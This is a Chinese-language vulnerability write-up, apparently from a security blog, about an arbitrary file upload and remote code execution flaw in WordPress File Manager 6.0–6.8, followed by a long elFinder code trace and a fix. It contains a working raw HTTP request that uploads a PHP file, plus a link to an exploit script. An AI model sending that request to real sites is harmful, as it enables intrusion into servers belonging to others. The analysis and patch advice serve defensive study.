共计 5988 个字符,预计需要花费 15 分钟才能阅读完成。
上方蓝色字体关注我们,一起学安全!
作者:daxi0ng& 水木逸轩 @Timeline Sec
本文字数:3591
阅读时长:10~12min
声明:请勿用作违法用途,否则后果自负
0x01 简介
WordPress 是使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。
文件管理器允许您直接从 WordPress 后端编辑,删除,上载,下载,压缩,复制和粘贴文件和文件夹。不必费心使用 FTP 来管理文件和从一个位置移动文件。有史以来功能最强大,最灵活,最简单的 WordPress 文件管理解决方案!
0x02 漏洞概述
安全人员进行调查时,很快发现 WordPress 插件 WPFileManager 中存在一个严重的 0day 安全漏洞,攻击者可以在安装了此插件的任何 WordPress 网站上任意上传文件并远程执行代码。
攻击者可能会做任何他们选择采取的行动–窃取私人数据,破坏站点或使用该网站对其他站点或基础结构进行进一步的攻击。
0x03 影响版本
File Manager 6.0-6.8
0x04 环境搭建
为
WordPress5.4.1 下载地址
https://cn.wordpress.org/wordpress-5.4.1-zh_CN.tar.gz
wp-file-manager6.0 下载地址:
公众号内回复 wordpress 插件
用 phpstudy 搭建 WordPress,安装插件
0x05 漏洞复现
POC:
POST /wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: Content-Type: multipart/form-data; boundary=—————————402078532114344024151352374707 Content-Length: 465 Origin: http://127.0.0.1 Connection: close Cookie: PHPSESSID=184sec57d1sltqv23haagn3574; —————————–402078532114344024151352374707 Content-Disposition: form-data; name=”upload[0]”; filename=”1.php” Content-Type: image/jpeg 123213123 —————————–402078532114344024151352374707 Content-Disposition: form-data; name=”cmd” upload —————————–402078532114344024151352374707 Content-Disposition: form-data; name=”target” l1_Lw== —————————–402078532114344024151352374707– |
访问
/wordpress/wp-content/plugins/wp-file-manager/lib/files/1.php
EXP 脚本:
https://github.com/xDro1d/wp-file-manager
0x06 漏洞分析
修改数据包中 target 的值,发送 POC 出现错误,返回以下情况:
对比这三个 POC,唯一的不同之处在于一个 target 之后是 l1_Lw==,一个之后是 11_Lw==,还有一个之后是 t1_Lw== 那么问题究竟出在了哪里?
首先数据包最早由 connector.minimal.php 接收,接收到数据包中的各个参数,这里走了一些弯路,但还是应该写出来
之后 connector.minimal.php 文件开始执行,首先判断./vendor/autoload.php 是否可读,如果可读包含./autoload.php,执行 autoload.php 文件
看下 autoload.php 文件的代码,首先给 ELFINDER_PHP_ROOT_PATH 赋值为当前文件绝对地址
接着执行 autoload.php 文件最后的 if 判断
判断 php 的版本,如果版本再 5.3 之上,那么执行,补充知识点:
spl_autoload_register 是一个实现自动加载类的函数,自动加载类就是我们在 new 一个 class 的时候,不需要手动去写 require 来导入这个 class.php 文件,程序自动帮我们加载导入进来,而传入 spl_autoload_register 加载类函数的参数为将要 new 的类名
此时返回 connector.minimal.php,elFinder
静态引用类将 elFinder 的 $netDrivers 数组初始化,将’FTP’赋值给’ftp’,接着往下执行
elFinder 未被引入到当前文件,那么开始执行 autoload.php 的 elFinderAutoloader 方法,因为要实例化 elFinder 类,所以传入 elFinderAutoloader 的值为 elFinder
接着走,$map 自不用去看,都是人家写好的
首先 $name,在数组 $map 中是存在的,那么 include_once 这个 name 所对应的类名,这里是 elFinder,然后是 newelFinder,自然是要先执行它的构造函数,给该对象的构造函数传入的参数为 connector.minimal.php 的 $opts 数组
接着看 elFinder 的构造函数
现将默认的编码集设置为 UTF-8,然后定义服务器命令接收的各种常量
此处省略位运算,只需要知道最后 $errLevel 的值为 32266 就行,接着给全局变量加入数组键 elFinderTempFps,elFinderTempFiles,值都为空数组
接着 $_SERVER[‘PATH_INFO’] 为空,直接将这个对象的引用给了 elFinder 类的 $instance 变量
接着 debug 经过 $opt 中的值判断为 false,检测 elFinderSessionInterface 接口是否已经被定义,如果定义,将这个 php 文件包含到文件中
将这个文件包含到文件中之后判断 $opts 的数组中 session 是否存在,然而 $opts 数组中并没有 session 键
执行 else,else 给 $sessionOpts 进行赋值,接着判断 elFinderSession 是否被引入,如果没有将它包含进来,然后初始化一个 elFinderSession 对象,elFinder 对象的 session 引用这个对象
既然 newelFinderSession 那就要执行它的构造方法
看下此时 $opts 参数的值:
接着 $this->session->start() 方法执行
start 方法用于设置自定义错误处理函数,之后进入下一个 if 判断语句
$fixCookieRegist 的值为 false,之后 PHP_VERSION 使用的是 5.4 以上版本
关于 session_status 的解释:
PHP_SESSION_DISABLED 会话是被禁用的
PHP_SESSION_NONE 会话是启用的,但不存在当前会话
PHP_SESSION_ACTIVE 会话是启用的,而且存在当前会话
看这代码的意思就是开启一个新的会话,给定 Session ID 值
if 还没完了,挨个看吧
给 $sessionUseCmds 赋值,判断 $opts[‘sessionUseCmds’] 是否存在,是否是数组,如果满足,将两个数组合并为一个数组。
之后直接跳过判断 HTTP_X_ELFINDER_VOLUMESCNTSTART 的 if 语句,因为不存在。
执行 utime 方法,返回值给了 time 变量,剩下的一大堆也说不了,如果用了就用的时候说,于是重新捋思路,直接从 elFinderConnector 构造方法完毕之后的 run 方法开始(我才知道为什么之前分析的大哥不直接跟进 elFinder 的初始化,因为东西真的太多了)
跟进 run
首先判断是否是 POST 方法传入数据,接着合并数组至 $src
$maxInuptVars = null,而 $src 本身存在,所以直接跳过大段的 if 语句,直接到
给全局变量赋值这里,$_REQUEST 的值变为
接着直接看第一个 if 语句,不会执行,因为 $src 没有 targets 参数
第二个 if 语句判断 json_encode 方法是否可用,在之后看 flFinder->loaded 方法,这里返回 true,又跳出这个 if 语句
$cmd 肯定存在值,$ifPost 为 true,所以不执行该 if 语句中的内容
此处的 $cmd 为 upload
此处判断 elFinder 类中是否有 upload 方法,结果是有的
所以 if 语句又不会执行,看之后的 foreach
首先 commandArgsList 方法跟进
这里着重看下 commands 数组中 upload 元素的内容,由 $list 引用
upload => array(target => true, FILES => true, mimes => false, html => false, upload => false, name => false, upload_path => false, chunk => false, cid => false, node => false, renames => false, hashes => false, suffix => false, mtime => false, overwrite => false, contentSaveId => false)
也是个数组,在之后将 $list 的 reqid 元素设置为 false,然后返回 $list
$list 第一键值肯定不是 FILES,所以跳过第一个 if 语句,而第一个 target 又存在于 $src 数组中
将 target 的值给了 $arg,再移除 $arg 的空白字符和其他预定义字符
之后将 $arg 放入 $args 的数组中,键名为 target,然后第二次 foreach 循环开始
第二个 $list 的元素肯定是 FILES 了,且 FILES=true,于是执行第一个 if 语句
$hasFiles=true
这两个循环之后就没有什么可说的了,将每个 $list 的元素写入到 $args 中,只是值为 false 的变成了‘’
$args 中 debug 元素是存在的,所以 debug 元素的值被设置为 false
然后看 elFinderConnector 的 input_filter 方法
因为这里的 php 版本大于 5.4 所以 $magic_quotes_gpc 的值为 false,$args 肯定是数组,然后使用这个 if 语句之后对每个元素进行字符过滤
再之后对将上传文件的信息给了 $args 数组中的 FILES 元素,接着执行 elFinder 对象的 exec 函数
在 exec 函数中判断完 session 以及是否可以进行上传操作之后开始判断
将 $args 中 target 元素的值给了 $dst,将 $dst 作为参数传递给 volume 函数
此时 volumes 中有两个键,到此处可以发现 POC 中上传文件的 target 元素的值只能以 l1 或者 t1 开头
这里传入的 $hash 为 l1_Lw==,然后搜索开始空字符出现的位置是否为 0,如果是返回相应的 volumes 的元素信息
接着 $result 为 null,$args[sessionCloseEarlier] 被设置为 true,之后的一些判断都能看懂 (有注释的),一直到判断 $result 的类型这里
$result 在 1131 行被设置为 null,所以跟进 $cmd 进入到 upload 方法
调用 volume 方法,返回 $volume,这个方法解释可以参照上面说的 volumes 数组内容
接着 $files,$header 等一系列变量对文件上传的设置进行初始化或者得到上传文件的具体信息,那么从这里看上传文件的参数具体信息
通过 POST 获得 $src,通过 $src 获得 $cmd 的值,通过 $cmd,调用 upload 函数,而 upload 函数又从上传文件的信息中提取 filename 等信息。
接着一路跟进到程序的 3314 行
此时看一眼传入的 $files 信息
可以看到 $files 的 error 为 0,所以第一个 if 直接跳过,接着获取到文件的临时文件名,$paths 获取到文件路径为 $target 的值
接着看 changeDst 被设置为 false,因为第一个 if 循环中的值都存在,所以将 $changeDst 设置为 true,之后进入 foreach 循环
直接跟进到 3433 行代码处,此时的 $_target 已经是 $target 的值
直接跟进 upload 方法(elFinderVolumeDriver 类)
首先是 commandDisabled 判断是否允许上传功能
结果是有的,接着调用 dir 方法,将 $hash(target) 的值传入,再跟进 file 方法
发现 file 函数中有一个 decode 方法,跟进
decode 函数首先判断 $hash 是以 l1_开头,还是以 t1_开头,接着对 l1_之后的部分进行 base64 解码,跟进 uncrypt
返回 $h 的值,跟进 abspathCE 发现返回了一个绝对路径值
之后这个值返回到 stat 方法中
stat 方法最后返回 $ret 的值如下:
这个值最后给了 $file,返回给 file 方法
file 方法又返回给 dir 方法,接着跟进,跟进到 mimetype 获取上传文件的上传类型
之后计算临时文件大小,在根据文件名决定写入的绝对路径
接着跟进 joinPathCE
这里返回将要写入文件的绝对路径,并接着调用 isNameExits,查看文件名是否已存在,如果存在返回详细信息,在之后进行覆盖写入,接着跟进 saveSE 方法
跟进_save 方法
跟进_joinPath 方法
最后使用 copy 方法写入文件内容
至此,分析完成,漏洞简单的方法调用过程如下图所示。
0x07 修复方式
将 File Manager 插件升级到 6.9 版本
参考链接:
https://www.anquanke.com/post/id/216990
阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行